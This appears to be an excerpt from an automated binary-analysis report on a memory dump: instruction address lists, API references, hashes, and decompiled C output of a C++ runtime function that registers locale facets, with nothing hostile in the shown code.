0x0048cb63
0x0048cb61
0x0048cae5
0x0048cae5
0x0048cae8
0x0048caec
0x0048caf0
0x0048cafd
0x0048cb05
0x0048cb07
0x00000000
0x0048cb07
0x0048cace
0x0048cace
0x00000000
0x0048cace
0x0048cacc
0x0048ca50
0x0048ca50
0x0048ca53
0x0048ca57
0x0048ca5b
0x0048ca68
0x0048ca70
0x0048ca72
0x00000000
0x0048ca72
0x0048ca39
0x0048ca39
0x00000000
0x0048ca39
0x0048ca37
0x0048c9bb
0x0048c9bb
0x0048c9be
0x0048c9c2
0x0048c9c6
0x0048c9d3
0x0048c9db
0x0048c9dd
0x00000000
0x0048c9dd
0x0048c9a4
0x0048c9a4
0x00000000
0x0048c9a4
0x0048c9a2
0x0048c926
0x0048c926
0x0048c929
0x0048c92d
0x0048c931
0x0048c93e
0x0048c946
0x0048c948
0x00000000
0x0048c948
0x0048c90f
0x0048c90f
0x00000000
0x0048c90f
0x0048c90d
0x0048c891
0x0048c891
0x0048c894
0x0048c898
0x0048c89c
0x0048c8a9
0x0048c8b1
0x0048c8b3
0x00000000
0x0048c8b3
0x0048c87a
0x0048c87a
0x00000000
0x0048c87a
0x0048c878
0x0048c7fc
0x0048c7fc
0x0048c7ff
0x0048c803
0x0048c807
0x0048c814
0x0048c81c
0x0048c81e
0x00000000
0x0048c81e
0x0048c7e5
0x0048c7e5
0x00000000
0x0048c7e5
0x0048c7e3
0x0048c767
0x0048c767
0x0048c76a
0x0048c76e
0x0048c772
0x0048c77f
0x0048c787
0x0048c789
0x00000000
0x0048c789
0x0048c750
0x0048c750
0x00000000
0x0048c750
0x0048c74e
0x0048c6d2
0x0048c6d2
0x0048c6d5
0x0048c6d9
0x0048c6dd
0x0048c6ea
0x0048c6f2
0x0048c6f4
0x00000000
0x0048c6f4
0x0048c6bb
0x0048c6bb
0x00000000
0x0048c6bb
0x0048c6b9
0x0048c63d
0x0048c63d
0x0048c640
0x0048c644
0x0048c648
0x0048c655
0x0048c65d
0x0048c65f
0x00000000
0x0048c65f
0x0048c626
0x0048c626
0x00000000
0x0048c626
0x0048c624
0x0048c5a8
0x0048c5a8
0x0048c5ab
0x0048c5af
0x0048c5b3
0x0048c5c0
0x0048c5c8
0x0048c5ca
0x00000000
0x0048c5ca
0x0048c591
0x0048c591
0x00000000
0x0048c591
0x0048c58f
0x0048c513
0x0048c513
0x0048c516
0x0048c51a
0x0048c51e
0x0048c52b
0x0048c533
0x0048c535
0x00000000
0x0048c535
0x0048c4fc
0x0048c4fc
0x00000000
0x0048c4fc
0x0048c4fa

APIs

__EH_prolog3.LIBCMT ref: 0048C4C3
std::_Lockit::_Lockit.LIBCPMT ref: 0048C4CD

Part of subcall function 0042B22E: __EH_prolog3_GS.LIBCMT ref: 0042B235
Part of subcall function 0042B22E: std::_Lockit::_Lockit.LIBCPMT ref: 0042B246
Part of subcall function 0042B22E: std::_Lockit::~_Lockit.LIBCPMT ref: 0042B268

messages.LIBCPMT ref: 0048C507
std::_Facet_Register.LIBCPMT ref: 0048C51E
std::_Lockit::~_Lockit.LIBCPMT ref: 0048C53E
Concurrency::cancel_current_task.LIBCPMT ref: 0048C54B

Memory Dump Source

Source File: 00000008.00000002.924005679.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_H_prolog3H_prolog3_Registermessages
String ID:
API String ID: 37379925-0
Opcode ID: d59de9419ad3b190d17df556c0da70892262e61fff844c3cd2203e01b7d089c9
Instruction ID: 4bbd490ad041bba1fb52bbd727a2092eb91c672df0caa7d0fd5ec78508527980
Opcode Fuzzy Hash: d59de9419ad3b190d17df556c0da70892262e61fff844c3cd2203e01b7d089c9
Instruction Fuzzy Hash: 94010471E001259BCF01FB65D8556BE77B1AF84314F54080FE411AB382CF7C9E018798

Uniqueness

Uniqueness Score: -1.00%

Function 0048C551, Relevance: 9.0, APIs: 6, Instructions: 49
COMMON

Download Yara Rule

C-Code - Quality: 71%

			E0048C551(intOrPtr _a8) {
				signed int _v4;
				signed int _v16;
				char _v20;
				void* _v224;
				signed int _t237;
				void* _t440;
				short* _t634;
				void* _t692;
				signed int _t694;
				signed int _t695;
				signed int _t696;
				signed int _t697;
				signed int _t698;
				signed int _t699;
				signed int _t700;
				signed int _t701;
				signed int _t702;
				signed int _t703;
				signed int _t704;
				signed int _t705;
				signed int _t706;
				signed int _t707;
				signed int _t708;
				signed int _t709;
				signed int _t710;
				signed int _t711;
				void* _t712;
				signed int _t713;
				signed int _t714;
				signed int _t715;
				signed int _t716;
				signed int _t717;
				signed int _t718;
				signed int _t719;
				signed int _t720;
				signed int _t721;
				signed int _t722;
				signed int _t723;
				signed int _t724;
				signed int _t725;
				signed int _t726;
				signed int _t727;
				signed int _t728;
				signed int _t729;
				signed int _t730;
				signed int _t731;
				short* _t732;
				void* _t756;
				void* _t757;

				_push(8);
				E0049D90B(0x4d6966, _t692, _t712);
				E00488DEA( &_v20, 0);
				_t713 =  *0x4edde0; // 0x0
				_v4 = _v4 & 0x00000000;
				_v16 = _t713;
				_t237 = E0042B315(_a8, E0042B22E(0x4edd8c, _t692, _t713, _t757));
				_t693 = _t237;
				if(_t237 != 0) {
					L5:
					E00488E42( &_v20);
					return E0049D8D4(_t693);
				} else {
					if(_t713 == 0) {
						_push(_a8);
						_push( &_v16);
						__eflags = E0048E04D(_t693, _t713, __eflags) - 0xffffffff;
						if(__eflags == 0) {
							E0042B042(__eflags);
							asm("int3");
							_push(8);
							E0049D90B(0x4d6966, _t693, _t713);
							E00488DEA( &_v20, 0);
							_t714 =  *0x4ede14; // 0x0
							_v4 = _v4 & 0x00000000;
							_v16 = _t714;
							_t694 = E0042B315(_a8, E0042B22E(0x4eddb8, _t693, _t714, __eflags));
							__eflags = _t694;
							if(_t694 != 0) {
								L12:
								E00488E42( &_v20);
								return E0049D8D4(_t694);
							} else {
								__eflags = _t714;
								if(__eflags == 0) {
									_push(_a8);
									_push( &_v16);
									__eflags = E0048E0B5(_t694, _t714, __eflags) - 0xffffffff;
									if(__eflags == 0) {
										E0042B042(__eflags);
										asm("int3");
										_push(8);
										E0049D90B(0x4d6966, _t694, _t714);
										E00488DEA( &_v20, 0);
										_t715 =  *0x4edde4; // 0x0
										_v4 = _v4 & 0x00000000;
										_v16 = _t715;
										_t695 = E0042B315(_a8, E0042B22E(0x4edd90, _t694, _t715, __eflags));
										__eflags = _t695;
										if(_t695 != 0) {
											L19:
											E00488E42( &_v20);
											return E0049D8D4(_t695);
										} else {
											__eflags = _t715;
											if(__eflags == 0) {
												_push(_a8);
												_push( &_v16);
												__eflags = E0048E11D(_t695, _t715, __eflags) - 0xffffffff;
												if(__eflags == 0) {
													E0042B042(__eflags);
													asm("int3");
													_push(8);
													E0049D90B(0x4d6966, _t695, _t715);
													E00488DEA( &_v20, 0);
													_t716 =  *0x4ede18; // 0x0
													_v4 = _v4 & 0x00000000;
													_v16 = _t716;
													_t696 = E0042B315(_a8, E0042B22E(0x4eddbc, _t695, _t716, __eflags));
													__eflags = _t696;
													if(_t696 != 0) {
														L26:
														E00488E42( &_v20);
														return E0049D8D4(_t696);
													} else {
														__eflags = _t716;
														if(__eflags == 0) {
															_push(_a8);
															_push( &_v16);
															__eflags = E0048E185(_t696, _t716, __eflags) - 0xffffffff;
															if(__eflags == 0) {
																E0042B042(__eflags);
																asm("int3");
																_push(8);
																E0049D90B(0x4d6966, _t696, _t716);
																E00488DEA( &_v20, 0);
																_t717 =  *0x4edde8; // 0x0
																_v4 = _v4 & 0x00000000;
																_v16 = _t717;
																_t697 = E0042B315(_a8, E0042B22E(0x4edd94, _t696, _t717, __eflags));
																__eflags = _t697;
																if(_t697 != 0) {
																	L33:
																	E00488E42( &_v20);
																	return E0049D8D4(_t697);
																} else {
																	__eflags = _t717;
																	if(__eflags == 0) {
																		_push(_a8);
																		_push( &_v16);
																		__eflags = E0048E1ED(_t697, _t717, __eflags) - 0xffffffff;
																		if(__eflags == 0) {
																			E0042B042(__eflags);
																			asm("int3");
																			_push(8);
																			E0049D90B(0x4d6966, _t697, _t717);
																			E00488DEA( &_v20, 0);
																			_t718 =  *0x4ede20; // 0x0
																			_v4 = _v4 & 0x00000000;
																			_v16 = _t718;
																			_t698 = E0042B315(_a8, E0042B22E(0x4eddc4, _t697, _t718, __eflags));
																			__eflags = _t698;
																			if(_t698 != 0) {
																				L40:
																				E00488E42( &_v20);
																				return E0049D8D4(_t698);
																			} else {
																				__eflags = _t718;
																				if(__eflags == 0) {
																					_push(_a8);
																					_push( &_v16);
																					__eflags = E0048E255(_t698, _t718, __eflags) - 0xffffffff;
																					if(__eflags == 0) {
																						E0042B042(__eflags);
																						asm("int3");
																						_push(8);
																						E0049D90B(0x4d6966, _t698, _t718);
																						E00488DEA( &_v20, 0);
																						_t719 =  *0x4ede1c; // 0x0
																						_v4 = _v4 & 0x00000000;
																						_v16 = _t719;
																						_t699 = E0042B315(_a8, E0042B22E(0x4eddc0, _t698, _t719, __eflags));
																						__eflags = _t699;
																						if(_t699 != 0) {
																							L47:
																							E00488E42( &_v20);
																							return E0049D8D4(_t699);
																						} else {
																							__eflags = _t719;
																							if(__eflags == 0) {
																								_push(_a8);
																								_push( &_v16);
																								__eflags = E0048E2D9(_t699, _t719, __eflags) - 0xffffffff;
																								if(__eflags == 0) {
																									E0042B042(__eflags);
																									asm("int3");
																									_push(8);
																									E0049D90B(0x4d6966, _t699, _t719);
																									E00488DEA( &_v20, 0);
																									_t720 =  *0x4eddf0; // 0x0
																									_v4 = _v4 & 0x00000000;
																									_v16 = _t720;
																									_t700 = E0042B315(_a8, E0042B22E(0x4edd9c, _t699, _t720, __eflags));
																									__eflags = _t700;
																									if(_t700 != 0) {
																										L54:
																										E00488E42( &_v20);
																										return E0049D8D4(_t700);
																									} else {
																										__eflags = _t720;
																										if(__eflags == 0) {
																											_push(_a8);
																											_push( &_v16);
																											__eflags = E0048E35E(_t700, _t720, __eflags) - 0xffffffff;
																											if(__eflags == 0) {
																												E0042B042(__eflags);
																												asm("int3");
																												_push(8);
																												E0049D90B(0x4d6966, _t700, _t720);
																												E00488DEA( &_v20, 0);
																												_t721 =  *0x4eddec; // 0x0
																												_v4 = _v4 & 0x00000000;
																												_v16 = _t721;
																												_t701 = E0042B315(_a8, E0042B22E(0x4edd98, _t700, _t721, __eflags));
																												__eflags = _t701;
																												if(_t701 != 0) {
																													L61:
																													E00488E42( &_v20);
																													return E0049D8D4(_t701);
																												} else {
																													__eflags = _t721;
																													if(__eflags == 0) {
																														_push(_a8);
																														_push( &_v16);
																														__eflags = E0048E3E2(_t701, _t721, __eflags) - 0xffffffff;
																														if(__eflags == 0) {
																															E0042B042(__eflags);
																															asm("int3");
																															_push(8);
																															E0049D90B(0x4d6966, _t701, _t721);
																															E00488DEA( &_v20, 0);
																															_t722 =  *0x4ede00; // 0x0
																															_v4 = _v4 & 0x00000000;
																															_v16 = _t722;
																															_t702 = E0042B315(_a8, E0042B22E(0x4edda4, _t701, _t722, __eflags));
																															__eflags = _t702;
																															if(_t702 != 0) {
																																L68:
																																E00488E42( &_v20);
																																return E0049D8D4(_t702);
																															} else {
																																__eflags = _t722;
																																if(__eflags == 0) {
																																	_push(_a8);
																																	_push( &_v16);
																																	__eflags = E0048E467(_t702, _t722, __eflags) - 0xffffffff;
																																	if(__eflags == 0) {
																																		E0042B042(__eflags);
																																		asm("int3");
																																		_push(8);
																																		E0049D90B(0x4d6966, _t702, _t722);
																																		E00488DEA( &_v20, 0);
																																		_t723 =  *0x4eddd0; // 0x0
																																		_v4 = _v4 & 0x00000000;
																																		_v16 = _t723;
																																		_t703 = E0042B315(_a8, E0042B22E(0x4edd7c, _t702, _t723, __eflags));
																																		__eflags = _t703;
																																		if(_t703 != 0) {
																																			L75:
																																			E00488E42( &_v20);
																																			return E0049D8D4(_t703);
																																		} else {
																																			__eflags = _t723;
																																			if(__eflags == 0) {
																																				_push(_a8);
																																				_push( &_v16);
																																				__eflags = E0048E4CF(_t703, _t723, __eflags) - 0xffffffff;
																																				if(__eflags == 0) {
																																					E0042B042(__eflags);
																																					asm("int3");
																																					_push(8);
																																					E0049D90B(0x4d6966, _t703, _t723);
																																					E00488DEA( &_v20, 0);
																																					_t724 =  *0x4ede04; // 0x0
																																					_v4 = _v4 & 0x00000000;
																																					_v16 = _t724;
																																					_t704 = E0042B315(_a8, E0042B22E(0x4edda8, _t703, _t724, __eflags));
																																					__eflags = _t704;
																																					if(_t704 != 0) {
																																						L82:
																																						E00488E42( &_v20);
																																						return E0049D8D4(_t704);
																																					} else {
																																						__eflags = _t724;
																																						if(__eflags == 0) {
																																							_push(_a8);
																																							_push( &_v16);
																																							__eflags = E0048E537(_t704, _t724, __eflags) - 0xffffffff;
																																							if(__eflags == 0) {
																																								E0042B042(__eflags);
																																								asm("int3");
																																								_push(8);
																																								E0049D90B(0x4d6966, _t704, _t724);
																																								E00488DEA( &_v20, 0);
																																								_t725 =  *0x4eddd4; // 0x0
																																								_v4 = _v4 & 0x00000000;
																																								_v16 = _t725;
																																								_t705 = E0042B315(_a8, E0042B22E(0x4edd80, _t704, _t725, __eflags));
																																								__eflags = _t705;
																																								if(_t705 != 0) {
																																									L89:
																																									E00488E42( &_v20);
																																									return E0049D8D4(_t705);
																																								} else {
																																									__eflags = _t725;
																																									if(__eflags == 0) {
																																										_push(_a8);
																																										_push( &_v16);
																																										__eflags = E0048E59F(_t705, _t725, __eflags) - 0xffffffff;
																																										if(__eflags == 0) {
																																											E0042B042(__eflags);
																																											asm("int3");
																																											_push(8);
																																											E0049D90B(0x4d6966, _t705, _t725);
																																											E00488DEA( &_v20, 0);
																																											_t726 =  *0x4ede08; // 0x0
																																											_v4 = _v4 & 0x00000000;
																																											_v16 = _t726;
																																											_t706 = E0042B315(_a8, E0042B22E(0x4eddac, _t705, _t726, __eflags));
																																											__eflags = _t706;
																																											if(_t706 != 0) {
																																												L96:
																																												E00488E42( &_v20);
																																												return E0049D8D4(_t706);
																																											} else {
																																												__eflags = _t726;
																																												if(__eflags == 0) {
																																													_push(_a8);
																																													_push( &_v16);
																																													__eflags = E0048E607(_t706, _t726, __eflags) - 0xffffffff;
																																													if(__eflags == 0) {
																																														E0042B042(__eflags);
																																														asm("int3");
																																														_push(8);
																																														E0049D90B(0x4d6966, _t706, _t726);
																																														E00488DEA( &_v20, 0);
																																														_t727 =  *0x4eddd8; // 0x0
																																														_v4 = _v4 & 0x00000000;
																																														_v16 = _t727;
																																														_t707 = E0042B315(_a8, E0042B22E(0x4edd84, _t706, _t727, __eflags));
																																														__eflags = _t707;
																																														if(_t707 != 0) {
																																															L103:
																																															E00488E42( &_v20);
																																															return E0049D8D4(_t707);
																																														} else {
																																															__eflags = _t727;
																																															if(__eflags == 0) {
																																																_push(_a8);
																																																_push( &_v16);
																																																__eflags = E0048E682(_t707, _t727, __eflags) - 0xffffffff;
																																																if(__eflags == 0) {
																																																	E0042B042(__eflags);
																																																	asm("int3");
																																																	_push(8);
																																																	E0049D90B(0x4d6966, _t707, _t727);
																																																	E00488DEA( &_v20, 0);
																																																	_t728 =  *0x4ede24; // 0x0
																																																	_v4 = _v4 & 0x00000000;
																																																	_v16 = _t728;
																																																	_t708 = E0042B315(_a8, E0042B22E(0x4eddc8, _t707, _t728, __eflags));
																																																	__eflags = _t708;
																																																	if(_t708 != 0) {
																																																		L110:
																																																		E00488E42( &_v20);
																																																		return E0049D8D4(_t708);
																																																	} else {
																																																		__eflags = _t728;
																																																		if(__eflags == 0) {
																																																			_push(_a8);
																																																			_push( &_v16);
																																																			__eflags = E0048E6FD(_t708, _t728, __eflags) - 0xffffffff;
																																																			if(__eflags == 0) {
																																																				E0042B042(__eflags);
																																																				asm("int3");
																																																				_push(8);
																																																				E0049D90B(0x4d6966, _t708, _t728);
																																																				E00488DEA( &_v20, 0);
																																																				_t729 =  *0x4eddf4; // 0x0
																																																				_v4 = _v4 & 0x00000000;
																																																				_v16 = _t729;
																																																				_t709 = E0042B315(_a8, E0042B22E(0x4edda0, _t708, _t729, __eflags));
																																																				__eflags = _t709;
																																																				if(_t709 != 0) {
																																																					L117:
																																																					E00488E42( &_v20);
																																																					return E0049D8D4(_t709);
																																																				} else {
																																																					__eflags = _t729;
																																																					if(__eflags == 0) {
																																																						_push(_a8);
																																																						_push( &_v16);
																																																						__eflags = E0048E769(_t709, _t729, __eflags) - 0xffffffff;
																																																						if(__eflags == 0) {
																																																							E0042B042(__eflags);
																																																							asm("int3");
																																																							_push(8);
																																																							E0049D90B(0x4d6966, _t709, _t729);
																																																							E00488DEA( &_v20, 0);
																																																							_t730 =  *0x4ede28; // 0x0
																																																							_v4 = _v4 & 0x00000000;
																																																							_v16 = _t730;
																																																							_t710 = E0042B315(_a8, E0042B22E(0x4eddcc, _t709, _t730, __eflags));
																																																							__eflags = _t710;
																																																							if(_t710 != 0) {
																																																								L124:
																																																								E00488E42( &_v20);
																																																								return E0049D8D4(_t710);
																																																							} else {
																																																								__eflags = _t730;
																																																								if(__eflags == 0) {
																																																									_push(_a8);
																																																									_push( &_v16);
																																																									__eflags = E0048E7D5(_t710, _t730, __eflags) - 0xffffffff;
																																																									if(__eflags == 0) {
																																																										E0042B042(__eflags);
																																																										asm("int3");
																																																										_push(8);
																																																										E0049D90B(0x4d6966, _t710, _t730);
																																																										E00488DEA( &_v20, 0);
																																																										_t731 =  *0x4eddf8; // 0x0
																																																										_v4 = _v4 & 0x00000000;
																																																										_v16 = _t731;
																																																										_t711 = E0042B315(_a8, E0042B22E(0x4edd78, _t710, _t731, __eflags));
																																																										__eflags = _t711;
																																																										if(_t711 != 0) {
																																																											L131:
																																																											E00488E42( &_v20);
																																																											return E0049D8D4(_t711);
																																																										} else {
																																																											__eflags = _t731;
																																																											if(__eflags == 0) {
																																																												_push(_a8);
																																																												_push( &_v16);
																																																												_t440 = E0048E849(_t711, _t731, __eflags);
																																																												_pop(_t634);
																																																												__eflags = _t440 - 0xffffffff;
																																																												if(__eflags == 0) {
																																																													E0042B042(__eflags);
																																																													asm("int3");
																																																													_push(_t731);
																																																													_t732 = _t634;
																																																													_t230 = _t732 + 0x10;
																																																													 *_t230 =  *(_t732 + 0x10) & 0x00000000;
																																																													__eflags =  *_t230;
																																																													 *((intOrPtr*)(_t732 + 0x14)) = 7;
																																																													 *_t732 = 0;
																																																													E00494BE0( *((intOrPtr*)(_t756 + 8)));
																																																													return _t732;
																																																												} else {
																																																													_t711 = _v16;
																																																													_v16 = _t711;
																																																													_v4 = 1;
																																																													E0048919D(_t711);
																																																													 *0x4f02b4();
																																																													 *((intOrPtr*)( *((intOrPtr*)( *_t711 + 4))))();
																																																													 *0x4eddf8 = _t711;
																																																													goto L131;
																																																												}
																																																											} else {
																																																												_t711 = _t731;
																																																												goto L131;
																																																											}
																																																										}
																																																									} else {
																																																										_t710 = _v16;
																																																										_v16 = _t710;
																																																										_v4 = 1;
																																																										E0048919D(_t710);
																																																										 *0x4f02b4();
																																																										 *((intOrPtr*)( *((intOrPtr*)( *_t710 + 4))))();
																																																										 *0x4ede28 = _t710;
																																																										goto L124;
																																																									}
																																																								} else {
																																																									_t710 = _t730;
																																																									goto L124;
																																																								}
																																																							}
																																																						} else {
																																																							_t709 = _v16;
																																																							_v16 = _t709;
																																																							_v4 = 1;
																																																							E0048919D(_t709);
																																																							 *0x4f02b4();
																																																							 *((intOrPtr*)( *((intOrPtr*)( *_t709 + 4))))();
																																																							 *0x4eddf4 = _t709;
																																																							goto L117;
																																																						}
																																																					} else {
																																																						_t709 = _t729;
																																																						goto L117;
																																																					}
																																																				}
																																																			} else {
																																																				_t708 = _v16;
																																																				_v16 = _t708;
																																																				_v4 = 1;
																																																				E0048919D(_t708);
																																																				 *0x4f02b4();
																																																				 *((intOrPtr*)( *((intOrPtr*)( *_t708 + 4))))();
																																																				 *0x4ede24 = _t708;
																																																				goto L110;
																																																			}
																																																		} else {
																																																			_t708 = _t728;
																																																			goto L110;
																																																		}
																																																	}
																																																} else {
																																																	_t707 = _v16;
																																																	_v16 = _t707;
																																																	_v4 = 1;
																																																	E0048919D(_t707);
																																																	 *0x4f02b4();
																																																	 *((intOrPtr*)( *((intOrPtr*)( *_t707 + 4))))();
																																																	 *0x4eddd8 = _t707;
																																																	goto L103;
																																																}
																																															} else {
																																																_t707 = _t727;
																																																goto L103;
																																															}
																																														}
																																													} else {
																																														_t706 = _v16;
																																														_v16 = _t706;
																																														_v4 = 1;
																																														E0048919D(_t706);
																																														 *0x4f02b4();
																																														 *((intOrPtr*)( *((intOrPtr*)( *_t706 + 4))))();
																																														 *0x4ede08 = _t706;
																																														goto L96;
																																													}
																																												} else {
																																													_t706 = _t726;
																																													goto L96;
																																												}
																																											}
																																										} else {
																																											_t705 = _v16;
																																											_v16 = _t705;
																																											_v4 = 1;
																																											E0048919D(_t705);
																																											 *0x4f02b4();
																																											 *((intOrPtr*)( *((intOrPtr*)( *_t705 + 4))))();
																																											 *0x4eddd4 = _t705;
																																											goto L89;
																																										}
																																									} else {
																																										_t705 = _t725;
																																										goto L89;
																																									}
																																								}
																																							} else {
																																								_t704 = _v16;
																																								_v16 = _t704;
																																								_v4 = 1;
																																								E0048919D(_t704);
																																								 *0x4f02b4();
																																								 *((intOrPtr*)( *((intOrPtr*)( *_t704 + 4))))();
																																								 *0x4ede04 = _t704;
																																								goto L82;
																																							}
																																						} else {
																																							_t704 = _t724;
																																							goto L82;
																																						}
																																					}
																																				} else {
																																					_t703 = _v16;
																																					_v16 = _t703;
																																					_v4 = 1;
																																					E0048919D(_t703);
																																					 *0x4f02b4();
																																					 *((intOrPtr*)( *((intOrPtr*)( *_t703 + 4))))();
																																					 *0x4eddd0 = _t703;
																																					goto L75;
																																				}
																																			} else {
																																				_t703 = _t723;
																																				goto L75;
																																			}
																																		}
																																	} else {
																																		_t702 = _v16;
																																		_v16 = _t702;
																																		_v4 = 1;
																																		E0048919D(_t702);
																																		 *0x4f02b4();
																																		 *((intOrPtr*)( *((intOrPtr*)( *_t702 + 4))))();
																																		 *0x4ede00 = _t702;
																																		goto L68;
																																	}
																																} else {
																																	_t702 = _t722;
																																	goto L68;
																																}
																															}
																														} else {
																															_t701 = _v16;
																															_v16 = _t701;
																															_v4 = 1;
																															E0048919D(_t701);
																															 *0x4f02b4();
																															 *((intOrPtr*)( *((intOrPtr*)( *_t701 + 4))))();
																															 *0x4eddec = _t701;
																															goto L61;
																														}
																													} else {
																														_t701 = _t721;
																														goto L61;
																													}
																												}
																											} else {
																												_t700 = _v16;
																												_v16 = _t700;
																												_v4 = 1;
																												E0048919D(_t700);
																												 *0x4f02b4();
																												 *((intOrPtr*)( *((intOrPtr*)( *_t700 + 4))))();
																												 *0x4eddf0 = _t700;
																												goto L54;
																											}
																										} else {
																											_t700 = _t720;
																											goto L54;
																										}
																									}
																								} else {
																									_t699 = _v16;
																									_v16 = _t699;
																									_v4 = 1;
																									E0048919D(_t699);
																									 *0x4f02b4();
																									 *((intOrPtr*)( *((intOrPtr*)( *_t699 + 4))))();
																									 *0x4ede1c = _t699;
																									goto L47;
																								}
																							} else {
																								_t699 = _t719;
																								goto L47;
																							}
																						}
																					} else {
																						_t698 = _v16;
																						_v16 = _t698;
																						_v4 = 1;
																						E0048919D(_t698);
																						 *0x4f02b4();
																						 *((intOrPtr*)( *((intOrPtr*)( *_t698 + 4))))();
																						 *0x4ede20 = _t698;
																						goto L40;
																					}
																				} else {
																					_t698 = _t718;
																					goto L40;
																				}
																			}
																		} else {
																			_t697 = _v16;
																			_v16 = _t697;
																			_v4 = 1;
																			E0048919D(_t697);
																			 *0x4f02b4();
																			 *((intOrPtr*)( *((intOrPtr*)( *_t697 + 4))))();
																			 *0x4edde8 = _t697;
																			goto L33;
																		}
																	} else {
																		_t697 = _t717;
																		goto L33;
																	}
																}
															} else {
																_t696 = _v16;
																_v16 = _t696;
																_v4 = 1;
																E0048919D(_t696);
																 *0x4f02b4();
																 *((intOrPtr*)( *((intOrPtr*)( *_t696 + 4))))();
																 *0x4ede18 = _t696;
																goto L26;
															}
														} else {
															_t696 = _t716;
															goto L26;
														}
													}
												} else {
													_t695 = _v16;
													_v16 = _t695;
													_v4 = 1;
													E0048919D(_t695);
													 *0x4f02b4();
													 *((intOrPtr*)( *((intOrPtr*)( *_t695 + 4))))();
													 *0x4edde4 = _t695;
													goto L19;
												}
											} else {
												_t695 = _t715;
												goto L19;
											}
										}
									} else {
										_t694 = _v16;
										_v16 = _t694;
										_v4 = 1;
										E0048919D(_t694);
										 *0x4f02b4();
										 *((intOrPtr*)( *((intOrPtr*)( *_t694 + 4))))();
										 *0x4ede14 = _t694;
										goto L12;
									}
								} else {
									_t694 = _t714;
									goto L12;
								}
							}
						} else {
							_t693 = _v16;
							_v16 = _t693;
							_v4 = 1;
							E0048919D(_t693);
							 *0x4f02b4();
							 *((intOrPtr*)( *((intOrPtr*)( *_t693 + 4))))();
							 *0x4edde0 = _t693;
							goto L5;
						}
					} else {
						_t693 = _t713;
						goto L5;
					}
				}
			}

0x0048c551
0x0048c558
0x0048c562
0x0048c567
0x0048c572
0x0048c576
0x0048c582
0x0048c587
0x0048c58b
0x0048c5d0
0x0048c5d3
0x0048c5df
0x0048c58d
0x0048c58f
0x0048c595
0x0048c59b
0x0048c5a3
0x0048c5a6
0x0048c5e0
0x0048c5e5
0x0048c5e6
0x0048c5ed
0x0048c5f7
0x0048c5fc
0x0048c607
0x0048c60b
0x0048c61c
0x0048c61e
0x0048c620
0x0048c665
0x0048c668
0x0048c674
0x0048c622
0x0048c622
0x0048c624
0x0048c62a
0x0048c630
0x0048c638
0x0048c63b
0x0048c675
0x0048c67a
0x0048c67b
0x0048c682
0x0048c68c
0x0048c691
0x0048c69c
0x0048c6a0
0x0048c6b1
0x0048c6b3
0x0048c6b5
0x0048c6fa
0x0048c6fd
0x0048c709
0x0048c6b7
0x0048c6b7
0x0048c6b9
0x0048c6bf
0x0048c6c5
0x0048c6cd
0x0048c6d0
0x0048c70a
0x0048c70f
0x0048c710
0x0048c717
0x0048c721
0x0048c726
0x0048c731
0x0048c735
0x0048c746
0x0048c748
0x0048c74a
0x0048c78f
0x0048c792
0x0048c79e
0x0048c74c
0x0048c74c
0x0048c74e
0x0048c754
0x0048c75a
0x0048c762
0x0048c765
0x0048c79f
0x0048c7a4
0x0048c7a5
0x0048c7ac
0x0048c7b6
0x0048c7bb
0x0048c7c6
0x0048c7ca
0x0048c7db
0x0048c7dd
0x0048c7df
0x0048c824
0x0048c827
0x0048c833
0x0048c7e1
0x0048c7e1
0x0048c7e3
0x0048c7e9
0x0048c7ef
0x0048c7f7
0x0048c7fa
0x0048c834
0x0048c839
0x0048c83a
0x0048c841
0x0048c84b
0x0048c850
0x0048c85b
0x0048c85f
0x0048c870
0x0048c872
0x0048c874
0x0048c8b9
0x0048c8bc
0x0048c8c8
0x0048c876
0x0048c876
0x0048c878
0x0048c87e
0x0048c884
0x0048c88c
0x0048c88f
0x0048c8c9
0x0048c8ce
0x0048c8cf
0x0048c8d6
0x0048c8e0
0x0048c8e5
0x0048c8f0
0x0048c8f4
0x0048c905
0x0048c907
0x0048c909
0x0048c94e
0x0048c951
0x0048c95d
0x0048c90b
0x0048c90b
0x0048c90d
0x0048c913
0x0048c919
0x0048c921
0x0048c924
0x0048c95e
0x0048c963
0x0048c964
0x0048c96b
0x0048c975
0x0048c97a
0x0048c985
0x0048c989
0x0048c99a
0x0048c99c
0x0048c99e
0x0048c9e3
0x0048c9e6
0x0048c9f2
0x0048c9a0
0x0048c9a0
0x0048c9a2
0x0048c9a8
0x0048c9ae
0x0048c9b6
0x0048c9b9
0x0048c9f3
0x0048c9f8
0x0048c9f9
0x0048ca00
0x0048ca0a
0x0048ca0f
0x0048ca1a
0x0048ca1e
0x0048ca2f
0x0048ca31
0x0048ca33
0x0048ca78
0x0048ca7b
0x0048ca87
0x0048ca35
0x0048ca35
0x0048ca37
0x0048ca3d
0x0048ca43
0x0048ca4b
0x0048ca4e
0x0048ca88
0x0048ca8d
0x0048ca8e
0x0048ca95
0x0048ca9f
0x0048caa4
0x0048caaf
0x0048cab3
0x0048cac4
0x0048cac6
0x0048cac8
0x0048cb0d
0x0048cb10
0x0048cb1c
0x0048caca
0x0048caca
0x0048cacc
0x0048cad2
0x0048cad8
0x0048cae0
0x0048cae3
0x0048cb1d
0x0048cb22
0x0048cb23
0x0048cb2a
0x0048cb34
0x0048cb39
0x0048cb44
0x0048cb48
0x0048cb59
0x0048cb5b
0x0048cb5d
0x0048cba2
0x0048cba5
0x0048cbb1
0x0048cb5f
0x0048cb5f
0x0048cb61
0x0048cb67
0x0048cb6d
0x0048cb75
0x0048cb78
0x0048cbb2
0x0048cbb7
0x0048cbb8
0x0048cbbf
0x0048cbc9
0x0048cbce
0x0048cbd9
0x0048cbdd
0x0048cbee
0x0048cbf0
0x0048cbf2
0x0048cc37
0x0048cc3a
0x0048cc46
0x0048cbf4
0x0048cbf4
0x0048cbf6
0x0048cbfc
0x0048cc02
0x0048cc0a
0x0048cc0d
0x0048cc47
0x0048cc4c
0x0048cc4d
0x0048cc54
0x0048cc5e
0x0048cc63
0x0048cc6e
0x0048cc72
0x0048cc83
0x0048cc85
0x0048cc87
0x0048cccc
0x0048cccf
0x0048ccdb
0x0048cc89
0x0048cc89
0x0048cc8b
0x0048cc91
0x0048cc97
0x0048cc9f
0x0048cca2
0x0048ccdc
0x0048cce1
0x0048cce2
0x0048cce9
0x0048ccf3
0x0048ccf8
0x0048cd03
0x0048cd07
0x0048cd18
0x0048cd1a
0x0048cd1c
0x0048cd61
0x0048cd64
0x0048cd70
0x0048cd1e
